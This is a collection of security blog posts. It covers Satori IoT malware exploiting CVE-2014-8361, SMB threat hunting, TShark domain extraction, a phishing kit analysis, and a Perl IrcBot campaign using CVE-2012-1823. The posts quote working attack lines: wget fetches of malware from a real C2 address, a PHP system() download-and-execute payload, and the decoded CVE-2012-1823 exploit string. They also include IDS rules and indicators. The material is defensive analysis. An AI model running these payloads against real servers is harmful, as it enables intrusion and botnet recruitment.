Following reports of Satori related attacks targeting ethereum mining hosts, we observed samples showing the attacker(s) attempting to exploit CVE-2014-8361 in Realtek SDK-based devices. For context on and comparison to other variants, I recommend reading “IoT Malware Evolves to Harvest Bots by Exploiting a Zero-day Home Router Vulnerability" from our colleagues at Palo Alto Networks Unit 42.

CVE-2014-8361 Infection Process

The process begins with an inbound HTTP POST request to port 52869. The command injection vulnerability (CVE-2014-8361) is used to perform multiple actions using SOAP. First, the working directory is changed to /var. Next, wget is used to download the file “b” from a remote host and save it under the name “s.”. Lastly, the file is executed with “sh s”.

Figure 1: HTTP POST Request executing CVE-2014-8361

Taking a look at the “b” file allows us to make more sense of the attack process and begin linking it to Satori. As previously mentioned, the file is a shell script. The script first defines a handful of variables, including a list of names (line 3), a download server (line 4), a string called run (line 5), and various directory paths (line 6).

Next the script will run through two loops in order to clean up temporary files (lines 8-11), and then begin downloading and executing the primary malware (lines 12-20). First it will write busybox’s shell to $run and truncate it (line 15/16). Next it will change permissions for $run (line 17). At this point the loop writes the wget results to $run and then executes it again (lines 18/19). The wget request is modified at each loop with a new selection from the names list. Our working theory is that the odd behavior in this for loop (lines 13-20) is for working around potential permission issues on various victim devices.

Figure 2: Malware download and execution script

In the above sample script, the wget requests are as follows:

wget hXXp://185.62.188.88/mips.satori
wget hXXp://185.62.188.88/mipsel.satori
wget hXXp://185.62.188.88/arm7.satori
wget hXXp://185.62.188.88/arm.satori
wget hXXp://185.62.188.88/arm4.satori
(excluding brackets)

At this point, the device is infected by Satori and will begin performing the variant’s defined activities, such as continuing to scan and spread outbound or a variety of variant specific actions.

Detection and Indicators

If you would like to automate the intake of these detections, please see our GitHub Detections repository.

Suricata IDS signature:

One of the wider rules from a previous post can be used to detect this inbound RCE attempt:

• alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"401TRG Generic Webshell Request - POST with wget in body"; flow:established,to_server; content:"wget"; nocase; http_client_body; content:"http"; nocase; http_client_body; within:11; threshold:type limit, track by_src, seconds 3600, count 1; classtype:web-application-attack; sid:600052; rev:1;)

Note: This rule is already under SID 2024930 in the ETOpen Ruleset from the previous post.

C2:

• 185.62.188[.]88

MD5 File Hashes:

• 37ecaa468199aa4e889f667dbf4443c4 - mips.satori
• 09719d82730f3f8ce12ccbd75dd93845 - mipsel.satori
• 9fc1370640c0089702e9af9114754ad4 - arm7.satori
• D7e12cace51941af2fdc7acb4891d3c2 - arm.satori
• Af70854a74aed2fe28dc81b2549ca679 - arm64.satori

This guide is available as a pdf here.

Of all the common protocols a new analyst encounters, perhaps none is quite as impenetrable as Server Message Block (SMB). Its enormous size, sparse documentation, and wide variety of uses can make it one of the most intimidating protocols for junior analysts to learn. But SMB is vitally important: lateral movement in Windows Active Directory environments can be the difference between a minor and a catastrophic breach, and almost all publicly available techniques for this movement involve SMB in some way. While there are numerous guides to certain aspects of SMB available, I found a dearth of material that was accessible, thorough, and targeted towards network analysis. The goal of this guide is to explain this confusing protocol in a way that helps new analysts immediately start threat hunting with it in their networks, ignoring the irrelevant minutiae that seem to form the core of most SMB primers and focusing instead on the kinds of threats an analyst is most likely to see. This guide necessarily sacrifices completeness for accessibility: further in-depth reading is provided in footnotes. There are numerous simplifications throughout to make the basic operation of the protocol more clear; the fact that they are simplifications will not always be highlighted. Lastly, since this guide is an attempt to explain the SMB protocol from a network perspective, the discussion of host based information (windows logs, for example) has been omitted.

The Basics

At its most basic, SMB is a protocol to allow devices to perform a number of functions on each other over a (usually local) network. SMB has been around for so long and maintains so much backwards compatibility that it contains an almost absurd amount of vestigial functionality, but its modern core use is simpler than it seems. For the most part, today SMB is used to map network drives, send data to printers, read and write remote files, perform remote administration, and access services on remote machines.

SMB runs directly over TCP (port 445) or over NetBIOS (usually port 139, rarely port 137 or 138). To begin an SMB session, the two participants agree on a dialect, authentication is performed, and the initiator connects to a ‘tree.’ For most intents and purposes, the tree can be thought of as a network share.^[1] The PCAP below, shown in Wireshark, demonstrates a simple session setup and tree connect. In this case, the machine 192.168.10.31 is connecting to the “c$” share (equivalent to the C:\ drive) on the 192.168.10.30 machine, which is called “admin-pc.”^[2]

If you open this PCAP in wireshark and look at the packet details, you will find a lot of information, and it can sometimes be difficult to tell what is relevant. Fortunately, as analysts we are mostly unconcerned with the details of these setup packets (with the exception of those relevant to authentication, which is discussed below). For the most part it is sufficient to make note of the machine and share being accessed and move on.

There are two special shares that you will see referenced often: the IPC$ and ADMIN$ shares. The ADMIN$ share can basically be thought of as a symbolic link to the path C:\Windows.^[3] The IPC$ share is a little different. It does not map to the file system directly, instead providing an interface through which remote procedure calls (RPC) can be performed, as discussed below.^[4]

To get a better idea of how basic actions are performed with SMB, we’ll first take a look at a simplified version of a file copy. It looks like this:^[5]

The first action we see is parsed by wireshark as “Create Request File.” In this instance, this tells 192.168.10.30 that 192.168.10.31 would like to create the file mimikatz.exe^[6] (1). It is important to note that this is the same command used to access a file, so seeing a “Create Request” doesn’t always mean that a file is being created. 192.168.10.31 retrieves some information about the filesystem it’s writing to with GetInfo (2), and then transmits some length information with SetInfo (3). Next 192.168.10.31 requests a number of writes to send the actual file bytes over (4). We append some metadata (including timestamps) to the complete remote file (5) and close it. Our file transfer is now complete.

Reads work similarly; the following PCAP shows the write operation exactly reversed. Host 192.168.10.31 is downloading mimikatz from host 192.168.10.30.

We begin by “creating” the request file again (1), though in this case it is an extant file that we are requesting a handle to. We use GetInfo to get a number of pieces of metadata from the file (2), and then make read requests for the actual file bytes (3).

There are a large number of other SMB commands, but many of them are either rare or relatively self explanatory, and we won’t go into detail about them here.^[7] You may encounter AndX commands,^[8] which can be confusing at first. These simply allow two commands to be packaged as one, with one SMB header. For most purposes, you can treat them as two separate commands.

Authentication

As security analysts, one of the details we are most interested in from SMB traffic is user/machine pairing. An unusual login on a device can be a thread that unravels an entire lateral movement attempt. In Windows Active Directory environments, there are two main ways that hosts authenticate to servers and each other: NTLM and Kerberos. NTLM, the older of the two, has been in use since the release of Windows NT in 1993 but remains supported in the latest versions of Windows.^[9] It uses a user’s password hash to encrypt a challenge it is sent by the device it is authenticating to. It is thus extremely vulnerable to pass-the-hash type attacks,^[10] and Kerberos is the recommended authentication protocol for Active Directory environments. NTLM continues to be used in Workgroup environments (Windows environments without domain controllers) and some older systems.^[11]

Kerberos, introduced to Active Directory in Windows 2000, is a more modern and robust authentication protocol, but requires a Ticket Granting Server (TGS) to operate, usually on an Active Directory Domain Controller. A full explanation of Kerberos is beyond the scope of this paper,^[12] so we will instead focus on the two aspects of the protocol that are important for our discussion here. One, Kerberos authentication happens separately from SMB, and involves interaction with a TGS and the service you are attempting to authenticate to. Two, Kerberos tickets, used to access services on remote machines, do not contain user information that is useful to us in cleartext.

Pass-the-hash attacks on NTLM and pass-the-ticket attacks on Kerberos^[13] can both be very difficult to detect at a network level, since the traffic often looks the same as legitimate use. It is key for network defenders to have an understanding of what users should be logged into which machines, as well as to maintain good discipline about which accounts are used to access which resources. SMB traffic analysis can sometimes help us with this. NTLM authentication, shown below, includes the user attempting to authenticate in cleartext.^[14]

Depending on how you capture network traffic, it may or may not be possible to follow a Kerberos session. While the username is not included in the cleartext SMB authentication, you may be able to follow the initial authentication with the TGS and see the returned ticket being used in an SMB session. See here for more details.

RPC

One common use case for SMB is to make remote procedure calls (RPC) to another machine on a local network. This functionality can be used for a number of things, but we are especially interested in how it is used for things like user and group enumeration, which can be signs of attempted lateral movement. It’s important to note that RPCs can be made over raw TCP as well as over SMB, so absence of SMB traffic doesn’t mean absence of RPC. We’ll start by looking at a simple example of RPC over SMB which we might see if someone is attempting to enumerate all the users in our domain using the net command.^[15]

This PCAP starts similarly to the others we’ve seen, with a protocol negotiation and session setup (1). Note that we are connecting to the IPC$ share (2): this will be the tree we connect to for all RPC. Next, we “Create Request File,” (3) where the filename is the name of the service we are connecting to (in this case, the Security Accounts Manager (SAMR)). It is important to note that while Wireshark parses the SAMR protocol for us, in the case of a service it doesn’t recognize this filename would be very useful to us in identifying what we were querying. Next, we call an RPC bind and then formally connect to the service (4). Now that we’re connected to the service, Wireshark parses the individual commands sent to SAMR. We can see that 192.168.10.31 is attempting to enumerate the users in the domain through this service (5).

We’ll look at one other simple example of RPC over SMB: using the at command to schedule a task on a remote computer.^[16] We’ll look at only part of the PCAP, from after the session has been set up and we have connected to the IPC$ share.

From a high level, this PCAP looks similar to the SAMR calls above. We create a request file with the name of the service (1) (atsvc, as we can see from the SMB Create Request File command), call an RPC bind (2), and then send a JobAdd request to the at service (3). There are a couple of things to note: one, since RPC runs on SMB in this case, each RPC command must have an SMB command associated with it. In this instance, RPC bind is on top of an SMB write, while the communication with the service happens over ioctl/fsctl commands.^[17] This can be a little confusing, so it can sometimes be best to think of it as three independent layers: the SMB, the RPC, and the service (in this case, ATSVC). Many RPC commands will ride on top of an SMB ioctl command, as we can see below. Assuming you are not tearing packets apart byte-by-byte, the SMB command is not hugely important: instead, focus on the RPC call or (if Wireshark can parse it) the service running on RPC.^[18]

Wireshark parses the at scheduler service command for us, and we can see that the user is attempting to schedule mimikatz to run.

PSExec

PsExec, a windows remote administration tool, has long been an attacker favorite for lateral movement in Active Directory environments. PsExec’s own website describes it as “a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.”^[19] While it is still commonly used for legitimate administration tasks, its extensive functionality makes it useful to attackers. It is worthwhile to keep an eye on all uses of it in your network, if it is deployed at all.

PsExec can be fairly complicated on the wire, so we will begin by looking at two examples with some simplification. The first shows PsExec being used to extract a file from a target machine.^[20]

We first connect to the ADMIN$ share (1) (which points to C:\Windows), and copy over the PSEXESVC.exe file (2). This is an executable which will eventually be run on the target machine as a temporary service. We then connect to the IPC$ share (3) (note that we don’t need to do another session setup for this to happen). Since Wireshark can’t parse the PSEXESVC (like it could ATSVC and SAMR) at time of writing, we see the raw ioctl request (4), FSCTL_PIPE_TRANSCEIVE, instead of it being decoded into service specific commands. We then open (or more accurately, FSCTL_PIPE_WAIT on^[21]) the service’s stdin (5), stdout (6), and stderr (7), and then start reading the actual file from stdout (8). As of version 2.1, PsExec encrypts all communication between the local and remote machines, so we can’t glean much more insight from this PCAP.

The next example we’ll look at is using PsExec to add a user to a remote machine, and looks fairly different. The initial setup is similar, we connect to the ADMIN$ share (1) and copy over the PSEXESVC.exe file (2), though in this case we then completely disconnect.

However, when we reconnect to the IPC$ share (1), we launch PsExec via an RPC call to the SVCCTL service (as opposed to sending an ioctl to the PSEXESVC pipe, as we did above) (2) and then connect to the stdin, stdout and stderr as before (3).

The metasploit framework (https://www.metasploit.com/) also contains its own version of PsExec which works a little differently under the hood.^[22] In this PCAP, we’re using it to pass some NTLM credentials we stole across SMB and then download meterpreter (https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/) to a target machine.

This is the unabridged PCAP and it shows just how efficient this module is at transmitting a payload. You’ll notice it makes extensive use of AndX commands. On further inspection, however, you’ll see that all of the AndX commands are “No further commands,” meaning we’re only sending one command. It is possible that the AndXs are used for evasion.

We perform a normal NTLM authentication (1) and then connect to the IPC$ (2) and ADMIN$ (3) shares (note that in this case we are connecting to them both simultaneously, unlike the previous two examples). We then attempt to open the PowerShell executable on the remote machine (4). This is metasploit checking for the presence of PowerShell so it doesn’t have to send over the PSEXESVC executable, which some solutions may detect as malicious. It successfully finds it (5), connects to the SVCCTL service (6), and then transfers a file over (7). It creates (8) and starts a service (9) , then cleans up (10) and disconnects (11). If we inspect the service creation, we can actually see the PowerShell command that spawns a meterpreter loader.

Though the command is truncated in wireshark, in the raw packet bytes we can see it is meant to decode and execute shellcode.

Lateral Movement Techniques

So far we’ve looked at a number of individual examples of potentially malicious behavior over SMB, but we have not looked at any big picture techniques of how attackers might actually traverse a network. There are of course quite a number of potential strategies to this, but one relatively common technique I’d like to focus on is both easy to perform and relatively difficult to detect. Since Windows stores some credentials (either Kerberos tickets or NTLM hashes) in memory for logged on users, an attacker can sometimes gain more valuable credentials by gaining local Admin on a box, dumping the Kerberos tickets or NTLM hashes from memory, and then impersonating that user to move to another machine that they have access to. That process can then potentially be repeated on another machine. This requires only mimikatz and legitimate Windows tools, and so defender knowledge of appropriate machine/user pairings and proper access controls are essential. SMB analysis can also help us in a couple ways. First, inspecting SMB for unusual authentication can give us a hint when something isn’t right. If our network uses Kerberos, but we see an NTLM authentication between two machines, something is definitely up. Secondly, a technique like the one above often involves a lot of reconnaissance, because it is essential for attackers to know which users have what permissions and who is logged into what machines. Attackers can sometimes create enumeration noise while trying to figure this out (though enumeration tools do have a number of legitimate uses), and seeing unusual RPC calls related to user permissions, group memberships, or active sessions can sometimes indicate compromise.^[23]

A good attacker can move almost silently through your network, and even when you are armed with knowledge of SMB, they can sometimes evade detection. Windows Management Instrumentation (WMI) and PowerShell remoting are two techniques that can avoid using SMB altogether and perform some of the same functionality we’ve discussed.^[24] No one indicator we’ve seen in this post indicates malicious behavior on its own, but as with any protocol, a good knowledge of what normal SMB traffic looks like in your network is critical for finding anomalous behavior that might be attacker related. I hope this guide has been a useful introduction and you can use some of the tools you’ve learned here to begin hunting in your network.^[25]

In the recent post Triaging Large Packet Captures - 4 Key TShark Commands to Start Your Investigation, I discussed some areas to begin investigating a large packet capture. Generally, when confronted with a large PCAP with unknown behavior in it, we want to start whittling away chunks to find areas to focus our analysis on. As a general strategy it's important to understand the infrastructure used in the PCAP as well as the protocols that are being used. In this post I'll focus on examining infrastructure by extracting domains from the PCAP. I will also show how these domains can be compared against the Cisco Umbrella Popularity lists.

As previously discussed, a great starting point for extracting domains is to use the TShark command:

tshark -q -r <pcap> -z hosts

# TShark hosts output
#
# Host data gathered from <pcap>

115.85.68.215	kllserver.serveftp.com
173.194.67.106	www.google.com
119.160.247.124	ns5.yahoo.com
173.194.67.104	www.google.com
173.231.54.69	europd.ddns.info
74.125.95.106	www2.l.google.com
74.125.95.104	www2.l.google.com
...

Figure 1. TShark hosts sample output.

This command will produce a list of IP addresses and domains. The bulk of this data is derived from DNS responses in which a domain is resolved to an IP address. The IP addresses in the output are the resolutions for the corresponding domains in a DNS response. However, the appearance of an IP address in the output doesn’t mean that the IP address is involved in any of the conversations in the PCAP, just that it was seen as a resolution in a DNS response. For the most part, this query gets us the bulk of what we are looking for; however, there is some nuance to this, and there are other places to find additional domains. For example, the host lists may have hostnames and IPs that weren’t directly queried, but rather were the result of a CNAME response to your original query. This may happen when you query the A record for www.example.com and in the response you get www2.example.com as the CNAME and www2.example.com resolves to a given IP address. In the hosts output you would only see www2.example.com and its corresponding IP address, with no evidence of the original lookup. Additionally, you may want to see domains that aren’t expected to resolve, such as a TXT record involved in DNS tunneling. If you want to know all the domains that were queried, you will need to extract them from the DNS queries directly.

Extracting From DNS Queries

To extract all the content from the name portion of a DNS query, use the following command:

tshark -q -r <pcap> -T fields -e dns.qry.name

This will output all queried names from any traffic identified as DNS in the PCAP. The output can be cleaned up a bit by focusing on queries only and ignoring responses (removing the identical queries in the DNS response) by using the following:

tshark -q -r <pcap> -T fields -e dns.qry.name -Y "dns.flags.response eq 0"

An important caveat here is that you may get some garbage output from this query if there are any malformed DNS packets or traffic misidentified as DNS. You will likely need to do a little cleaning up of the output to focus on only the unique names queried. If you are using bash it can be handy to remove empty lines with sed, sort the output, and then grab only the unique lines like so:

tshark -q -r <pcap> -T fields -e dns.qry.name -Y "dns.flags.response eq 0" | sed '/^$/d' | sort | uniq

Additionally you can add the -c option onto uniq to get a count of occurrences then re-sort.

1 www.usatoday.com
1 www.youtube.com
2 crl.usertrust.com
2 google.com
2 home.live.com
2 login.live.com
2 mail.live.com
2 nasa.usnewssite.com
3 www.gami1.com
4 europd.ddns.info
4 www.microsoft.com
5 www.google.com
6 www.download.windowsupdate.com
...

Figure 2. Extracting DNS query names, sorting, and counting.

Extracting from HTTP Host Headers

Another source to examine hostnames from is HTTP. It's helpful to pull in this information since you may not have the corresponding DNS traffic to these locations in your packet capture. The following command grabs the contents of the HTTP Host field, then removes blank lines and duplicates:

tshark -q -r <pcap> -T fields -e http.host | sed '/^$/d' | sort | uniq

199.192.156.134:443
239.255.255.250:1900
61.178.77.169:84
crl.comodoca.com
crl.microsoft.com
crl.usertrust.com
download.comodo.com
downloads.comodo.com
...

Figure 3. Extracting hostnames from HTTP host field.

Our main focus here has been on domains, but it's important to note that you may get IP addresses and ports in your output.

Using Cisco Umbrella List to Examine Extracted Hostnames

Once domains have been extracted from your PCAP, you can begin identifying well known domains and isolating suspicious ones. For this task I like to use the Cisco Umbrella Popularity Lists. Using the Top 1M list and a simple Python script, you can rank all the domains in your list according to their popularity in the Cisco Umbrella list. When searching for leads I like to focus on domains not found in the list. Below is the output from a Python script on our github that takes a list of domains and checks it against the Top 1M list.

*** Domains Not Found in Top 1 Million ***
lookquery.info
mickeypluto.info
nasa.usnewssite.com
re.policy-forums.org
shittway.zapto.org:336
vcvcvcvc.dyndns.org
…

*** Domains Found in Top 1 Million ***
Rank - Domain
4 - www.google.com
64 - crl.microsoft.com
432 - www.microsoft.com
508 - crl.comodoca.com
1119 - crl.usertrust.com
4933 - www.download.windowsupdate.com
8873 - www.live.com
16075 - download.comodo.com
563265 - stats1.update.microsoft.com
...

Figure 4. Output from comparing domains to Cisco Top 1M list.

Note that we are checking for exact matches here. If you are overwhelmed with a bunch of domains not found in the list, it may be worth searching on partial matches then seeing what's left over. Additionally, you could use the top TLD list to surface domains that have unusual TLDs.

Next Steps

In this blog post we discussed three main ways of extracting domains from a PCAP: using TShark’s host output, extracting names from DNS queries, and extracting from HTTP host headers. This will produce a fairly comprehensive view of the domains associated with your PCAP. This information can be used to surface suspicious domains as well as trim traffic associated to non-suspicious domains. In future blog posts we will discuss methods for further analyzing suspicious domains.

Recently, several seemingly suspicious emails were brought to the attention of 401TRG. While phishing campaigns are relatively common, this one had a few interesting features. I decided to investigate this campaign further, and found that the attacker(s) had left most of their php code in a publicly accessible directory on their phishing page. Armed with this code, I thought I would take the opportunity to share some insight about how this particular campaign was run, and some common phishing tactics it used.

This campaign used crafted phishing emails, often using stolen information to impersonate someone who was known to the target in a professional capacity. The emails contained an attached PDF, which I initially suspected was weaponized, but in fact only contained a single link, which claimed it was to download another PDF (perhaps the attackers were counting on the victim to not question why they’d downloaded a PDF only to download another one!).

Figure 1: Attached PDF

The link in the PDF points to x.co, a GoDaddy owned URL shortener, which redirects the victim to praznik[.]mx/ttttttttttttt/newdoc/[md5 sum of random characters], a domain likely owned by the attackers, which hosts a OneDrive lookalike page.

Figure 2: Phishing Landing

The page offers a number of different services with which to authenticate. Once a user has selected a service (in this example, Gmail), they are brought to a relatively unconvincing copy of that service’s login page, where they can enter credentials to be sent via an HTTP POST request to the attacker’s server.

Figure 3: Gmail login page

Things started to get interesting when I navigated to the root phishing directory (praznik[.]mx/ttttttttttttt/). Publicly accessible in this directory was a ZIP archive, called scopiondrive.zip, which contained what appears to be the entirety of the backend code for the phishing page. This is a common sign of a phishing kit, as Jordan Wright of Duo Labs explains. Access to the source code of the site allows us to gain insight into the attacker’s technical skills and tactics.

Figure 4: index.php

The first file, index.php, creates a random path under praznik[.]mx/ttttttttttttt/newdoc and copies all the files in the “page” folder (everything except index.php) into it. When a user navigates to this page when initially loading the site, it generates a unique subdirectory for their particular session with all the necessary files for the phish. index.php also includes blocker.php, which displays a 404 Not Found error if someone attempts to access it from certain machines.

Figure 5: Blocker.php

As you can see, the attackers were particularly concerned about being visited by machines associated with 11 specific organizations (see above), presumably to prevent their page from being discovered by researchers (their attempt to block Tor exit nodes was unsuccessful). They also block a number of IP ranges, including some belonging to Google and Amazon, and check User-Agents to prevent web crawlers from discovering their page. The .htaccess file that they uploaded to the compromised server blocks additional cybersecurity organizations and web crawlers.

setenvifnocase Referer castlecops.com spammer=yes
setenvifnocase Referer internetidentity.com spammer=yes
setenvifnocase Referer phishfighting.com spammer=yes
setenvifnocase Referer phishtank.com spammer=yes
setenvifnocase Referer spamcop.net spammer=yes
setenvifnocase Referer spam spammer=yes
setenvifnocase Referer phish spammer=yes
setenvifnocase Referer bezeqint.net spammer=yes
<Limit GET POST>
Order Allow,Deny
Allow from all
Deny from env=spammer
Deny from google.com
Deny from Google Chrome
Deny from Chrome
Deny from Kaspersky
Deny from Avira
Deny from yahoo.com
Deny from search.com
Deny from bing.com
Deny from lloyds
Deny from PayPal
Deny from .co.uk
Deny from .gov.uk
Deny from bezeqint.net
Deny from barak-online.net
Deny from internetidentity.com
Deny from phish-inspector.com
Deny from netcraft.com
Deny from spamcop.net
Deny from veritas.com
Deny from .edu
Deny from crawl
Deny from verisign-dbms.com
Deny from verisign.com
Deny from phishingsite-collector
Deny from netcraft.com
Deny from net.il
Deny from com.il
Deny from co.il
Deny from org.il
Deny from googlebot.com
Deny from mcafee
Deny from spam
Deny from phish
Deny from 66.249.71.179
Deny from 124.176.210.234
Deny from 125.18.56.109
Deny from 128.232.110.18
Deny from 137.108.145.10
Deny from 137.110.222.77
Deny from 138.26.64.54
Deny from 202.73.
Deny from 202.75.
Deny from 209.147.
Deny from 209.59.
Deny from 64.127.
Deny from 65.110.
Deny from 66.135.
Deny from 66.16.
Deny from 66.179.
Deny from 66.194.6.
Deny from 80.178.
Deny from 79.182.
Deny from 87.69.
Deny from 87.70.
</Limit>

Figure 6: .htaccess File

Once a user has entered credentials on one of the various phishing pages (the code of which is relatively uninteresting and isn’t reproduced here), they are sent to one of 6 very similar PHP scripts to be transmitted to the attacker’s email address. All of the scripts include a file, validate_form.js, which contains only a single uncommented line, a base64 encoded PHP command, despite the file extension.

Figure 7: validateform.js

Decoded, the line is as follows:

Figure 8: Base64 Command Decoded

After the code is executed, ‘recipent’ [sic] has a value of “resultsnipper[@]gmail.com.” Harvested credentials are sent to both this address and resultspecial02[@]gmail.com, which is defined in the mail script and stored in another variable called ‘recipient’ (note the correct spelling).

Figure 9: One of the Server-Side PHP Scripts

Even a relatively simple phishing campaign like this one can provide valuable insights into attacker thought process and tools. This campaign reinforces the importance of anonymizing your IP address and User-Agent in investigations, since attackers do specifically block IPs or hostnames that could belong to security researchers or organizations that pose a risk to the phishing campaign’s success.

If any other analysts have encountered this campaign in the wild, please reach out to us by email or on Twitter!

Special thanks to @switchingtoguns for guidance and for developing the following sig.

Suricata IDS Signature:

• alert http $HOME_NET any -> $EXTERNAL_NET any (msg:“401TRG Successful Multi-Email Phish - Observed in Docusign/Dropbox/Onedrive/Gdrive”; flow:to_server, established; content:“POST”; http_method; content:“.php”; http_uri; isdataat:!1,relative; content:“pasuma”; nocase; http_client_body; depth:100; fast_pattern; content:“name”; nocase; http_client_body; sid:9500032; rev:1;)

Correction: November 22, 2017
An earlier version of this post incorrectly stated that the variable 'recipent' [sic] was never used in the mail script. It was in fact used as a secondary recipient of the credential harvesting emails.

Attempts to gain control of public facing web servers with modified HTTP requests are very common, and can sometimes pose a danger to unpatched systems. With the use of publicly available tooling, these web crawling and attack attempts are extremely easy to perform and are often considered the realm of ‘script-kiddies’. While the likelihood of such an attack being successful is low, an analyst should know how to approach and understand these basic attacks. Many large compromises have come from older vulnerabilities, so they should not be ignored based on age alone.

Analysis

In this post, I wanted to share a few examples of a DDoS Perl IrcBot we’ve observed - a campaign of attacks similar to the more common Shellbot. In this attack, the attacker crawls the internet looking for public facing web servers, and makes a specially crafted HTTP POST request to each one it finds. These attacks are opportunistic in nature, aiming to catch the lowest hanging fruit across the internet.

Figure 1. Example malicious HTTP POST

As shown in figure 1, the POST request contains the large URL encoded string:

%63%67%69%2D%62%69%6E/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E

The URL encoding is likely an effort to evade basic detection capabilities. The decoded string is as follows:
cgi-bin/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -d auto_prepend_file=php://input -n

Inspecting some of the instructions will help provide a better idea of what the attacker is attempting to accomplish:

• cgi-bin/php? - Use the php interpreter in the cgi-bin directory
• allow_url_include=on - Allows data retrieval from remote locations
• safe_mode=off - Disables PHP safe mode settings.
• suhosin.simulation=on - Disables suhosin PHP protection, but keeps logging.
• disable_functions="" - Removes any disabled functions already set.
• open_basedir=none - Sets no limits on files that can be opened by PHP

As you may have noticed, this technique is not new; it has been used continuously since the release of CVE-2012-1823, which allows remote attackers to execute arbitrary code by placing command-line options in the query string.

The content of the HTTP POST contains the actual file download instruction:

<? system("cd /tmp ; wget http://181.113.26.66/zmuie ; curl -O http://181.113.26.66/zmuie; fetch http://181.113.26.66/zmuie ; chmod +x zmuie ; ./zmuie ; perl zmuie ; rm -rf zmuie "); ?>

All of the file downloads we’ve observed have been versions of DDoS Perl IrcBot v1.0 / 2017, which is a reused piece of code from 2013. The attackers simply modified small sections of the file in order to change the authorship and the IRC configurations. The most recent attacks have used multiple older versions of the code. For example, the below screenshot shows code that originated in 2013 being used over the past few months:

Figure 2. Example of 2013 code in recent attacks.

One of the more recent attempts used a bot configuration file with the Flood.ro Team name.

Figure 3. Example code showing Flood.ro Team name.

There are many variations of these files (some shown below) that claim to be authored by different groups, including vK Security Team and aloha Security Team. In all of these files, the code contains instructions for inexperienced attackers to work off of and clear indicators of authorship, suggesting that the teams are using these files to increase their reputation as malware authors. Based on attack timing across multiple web scans at large scale, I assess with medium confidence that all of these “teams” are a single entity.

Figure 4. Exploit attempt using cs titled file.

Figure 5. First 54 lines of malicious file.

Between the varying inbound exploit attempts, the attacker experimented with alternative file names, noting the no-extension extention below:

Figure 6. Inbound exploit attempt using zmuie.noext file.

Figure 7. First 47 lines of malicious zmuie.noext file.

More recently, the attacker figured out that an extension is not really necessary..

Figure 8. Inbound exploit attempt using zmuie file.

Figure 9. First 47 lines of malicious zmuie file.

The Botnet:

It's worth noting that these infection attempts have had fairly limited success rates. Once a host is successfully exploited and joins the IRC botnet, it can be controlled by the attacker. Noted in the above screenshots, DDoS, port scanning, downloading, and flooding are all built in capabilities that the victim can perform for the attacker. In the botnets we’ve monitored, typically around 200 hosts are members of the botnet at any one time.

Mitigation:

Defending against this exploit attempt is as simple as updating PHP. Check out the original NIST CVE post for specifics: nvd.nist.gov/vuln/detail/CVE-2012-1823

Analysis Tips:

There are a number of command line and GUI tools available to decode URL encoded strings. For analysts unsure of how to do this, I recommend checking out CyberChef from GCHQ. Download that locally on your machine, and add it to your browser favorites for easy access. URL decoding is just one capability of the tool, so be sure to check out its other helpful features.

Detection and Indicators:

If you would like to automate the intake of these detections, please see our GitHub Detections repo.

Suricata IDS signature:

• alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"401TRG Generic Webshell Request - POST with wget in body"; flow:established,to_server; content:"wget"; nocase; http_client_body; content:"http"; nocase; http_client_body; within:11; threshold:type limit, track by_src, seconds 3600, count 1; classtype:web-application-attack; sid:600052; rev:1;)
• alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"401TRG Perl DDoS IRCBot File Download"; flow:established,from_server; content:"|6d 79 20 24 70 72 6f 63 65 73 73 20 3d 20 24 72 70 73 5b 72 61 6e 64 20 73 63 61 6c 61 72 20 40 72 70 73 5d 3b|"; sid:600051; rev:1;)

IP:

• 5.189.143.2 - IRC Server
• 216.157.85.5 - IRC Server (only.god[.]jp)
• 209.90.232.99 - Malware Drop Location
• 181.113.26.66 - Malware Drop Location
• 106.75.100.241 - Malware Drop Location
• 213.174.157.151 - Malware Drop Location (idip.do[.]am)

MD5 Hash:

• 37F21CF3015D3BF0AE110353C1EDDAB5
• DE958C34D0DC248FCD585D5167A92F79
• 84FA8F6D0DD1C7C4AFF192A662746EC3
• 761C96290B7517BB59A206FB67825A38
• 3360462224EB2AF47AB3A7C90B403667
• AB3DD6EE0F346709192162A317616A0A
• 6AA17A48F8EA944282812954676F0AD8

Update: To better document and share the details of this post with the community, we're going to change form referring to this group as "Winnti" to the more appropriate "LEAD" title. Winnti originated in 2009 as a single group but more current intelligence indicates that the original group can now be better defined as the Winnti umbrella, which LEAD and BARIUM are within.

In our recent post “Winnti Evolution - Going Open Source,” Nate Marx and I shared new details on the Winnti APT group and their continued targeting of online gaming organizations. The purpose of this follow-up post is to share some new information about the group and their continued activities.

The group continues to primarily use publicly available pentesting tools outside of the US. In the multiple incidents we have been involved in, the group has relied heavily on BeEF and Cobalt Strike. Cobalt Strike has been their primary toolset for command and control within the victim networks, while BeEF has been used to assist in the initial infection process.

On the network traffic analysis end, post compromise activity results in some interesting but not unexpected activity. First, Winnti uses Cobalt Strike to collect credentials and move laterally. The stolen credentials may be used for remote access into the victim network if applicable. The group also continues to focus on theft of code signing certificates and internal documentation, including company files and internal communication history (chats/emails).

